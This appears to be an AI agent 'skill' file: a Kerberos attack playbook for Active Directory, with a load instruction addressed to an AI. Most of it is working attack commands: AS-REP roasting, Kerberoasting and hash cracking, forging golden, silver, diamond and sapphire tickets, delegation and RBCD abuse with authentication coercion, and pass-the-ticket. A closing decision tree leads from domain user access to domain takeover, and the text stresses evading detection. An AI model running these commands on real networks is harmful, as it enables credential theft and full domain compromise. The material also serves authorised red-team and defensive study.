SKILL: Kerberos Attack Playbook — Expert AD Attack Guide
AI LOAD INSTRUCTION: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-acl-abuse for ACL-based AD attacks often chained with Kerberos
- active-directory-certificate-services for ADCS-based persistence (golden certificate)
- ntlm-relay-coercion for NTLM relay attacks that complement Kerberos abuse
- windows-lateral-movement after obtaining tickets for lateral movement
Advanced Reference
Also load KERBEROS_ATTACK_CHAINS.md when you need:
- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
- End-to-end scenarios from foothold to domain admin
- Chained delegation attack flows
1. KERBEROS AUTHENTICATION PRIMER
Client KDC (DC) Service │ │ │ │── AS-REQ ────────→│ │ (1) Request TGT with user creds │←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash) │ │ │ │── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket │←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash) │ │ │ │── AP-REQ ─────────────────────────────→│ (5) Present TGS to service │←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional)
2. AS-REP ROASTING
Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.
Enumerate Vulnerable Users
bash# Impacket — from Linux GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt # Impacket — with domain creds (enumerate automatically) GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request # Rubeus — from Windows (domain-joined) Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt # PowerView — enumerate users Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
Crack AS-REP Hash
bash# Hashcat mode 18200 hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule # John john asrep.txt --wordlist=rockyou.txt
3. KERBEROASTING
Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.
Request Service Tickets
bash# Impacket GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt # Rubeus (from Windows) Rubeus.exe kerberoast /outfile:tgs.txt # Rubeus — target specific SPN / high-value accounts Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt # PowerView + manual request Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
Crack TGS Hash
bash# Hashcat mode 13100 (RC4) or 19700 (AES) hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule # RC4 tickets crack much faster than AES256 — target RC4 if possible # Rubeus: /tgtdeleg forces RC4 on some configs Rubeus.exe kerberoast /tgtdeleg
4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE
Golden Ticket
Forge TGT using the krbtgt hash → impersonate any user, including non-existent ones.
bash# Impacket — forge golden ticket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator # Mimikatz kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt # Rubeus Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
Prerequisites: krbtgt NTLM hash (from DCSync or NTDS.dit) Persistence: Valid until krbtgt password is changed twice
Silver Ticket
Forge TGS using the service account's hash → access specific service only, no KDC interaction.
bash# Impacket — forge silver ticket for CIFS (file share) ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator # Mimikatz kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt
| Target Service | SPN Format | Use Case |
|---|---|---|
| File shares | cifs/host | Access SMB shares |
| WinRM | http/host | Remote PowerShell |
| LDAP | ldap/dc | DCSync-like queries |
| MSSQL | MSSQLSvc/host:1433 | Database access |
| Exchange | http/mail.domain.com | Mailbox access |
Diamond Ticket
Modify a legitimately issued TGT → harder to detect than golden ticket.
bash# Rubeus — request real TGT then modify PAC Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
Advantage: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.
Sapphire Ticket
Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.
bash# Rubeus Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
Advantage: PAC is a genuine copy from KDC, making detection extremely difficult.
5. DELEGATION ATTACKS
Unconstrained Delegation
Hosts with unconstrained delegation store user TGTs in memory.
bash# Enumerate (PowerView) Get-DomainComputer -Unconstrained | Select-Object dnshostname # Coerce admin authentication → capture TGT (Rubeus monitor mode) Rubeus.exe monitor /interval:5 /nowrap # Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com
Constrained Delegation (S4U2Proxy)
bash# Enumerate Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto # S4U2Self + S4U2Proxy → get TGS for allowed service as any user getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP # Rubeus Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
Resource-Based Constrained Delegation (RBCD)
Requires write access to msDS-AllowedToActOnBehalfOfOtherIdentity on the target.
bash# 1. Create or control a computer account (MAQ > 0) addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password # 2. Set RBCD on target rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password # 3. S4U2Self + S4U2Proxy from controlled account getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP # 4. Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM
6. PASS-THE-TICKET & OVERPASS-THE-HASH
Pass-the-Ticket
bash# Impacket — use .ccache ticket export KRB5CCNAME=/path/to/ticket.ccache psexec.py -k -no-pass DOMAIN/administrator@target.domain.com # Mimikatz — inject .kirbi ticket into session kerberos::ptt ticket.kirbi # Rubeus Rubeus.exe ptt /ticket:base64_ticket_blob
Overpass-the-Hash (Pass-the-Key)
Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).
bash# Impacket getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP export KRB5CCNAME=user.ccache # Rubeus (from Windows) Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt # Mimikatz sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe
7. KERBEROS DOUBLE HOP PROBLEM
When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.
Solutions
| Method | How | Risk |
|---|---|---|
| CredSSP | Sends actual credentials to B | Credential exposure |
| Unconstrained delegation on B | B stores A's TGT | Over-privileged |
| Constrained delegation | B allowed to delegate to C | Preferred — scoped |
| RBCD | C trusts B to delegate | Modern, flexible |
| Invoke-Command nested | -Credential param in nested session | Exposes password in script |
8. KERBEROS ATTACK DECISION TREE
AD environment — targeting Kerberos │ ├── Have domain user creds? │ ├── Kerberoast → crack service account hashes (§3) │ ├── Enumerate users without preauth → AS-REP roast (§2) │ ├── Enumerate delegation → unconstrained/constrained/RBCD (§5) │ └── Enumerate SPNs for high-value accounts │ ├── Have service account hash? │ ├── Silver ticket for that service (§4) │ └── If constrained delegation → S4U2Proxy chain (§5) │ ├── Have krbtgt hash? │ ├── Golden ticket → any user, any service (§4) │ ├── Diamond ticket → stealthier forging (§4) │ └── Sapphire ticket → hardest to detect (§4) │ ├── Compromised host with unconstrained delegation? │ ├── Monitor for incoming TGTs (Rubeus monitor) │ ├── Coerce DC authentication (PrinterBug/PetitPotam) │ └── Capture DC TGT → DCSync │ ├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity? │ └── RBCD attack (§5) → create machine account + delegate │ ├── Have NTLM hash but need Kerberos auth? │ └── Overpass-the-Hash → request TGT (§6) │ └── Have .kirbi / .ccache ticket? └── Pass-the-Ticket → use directly (§6)
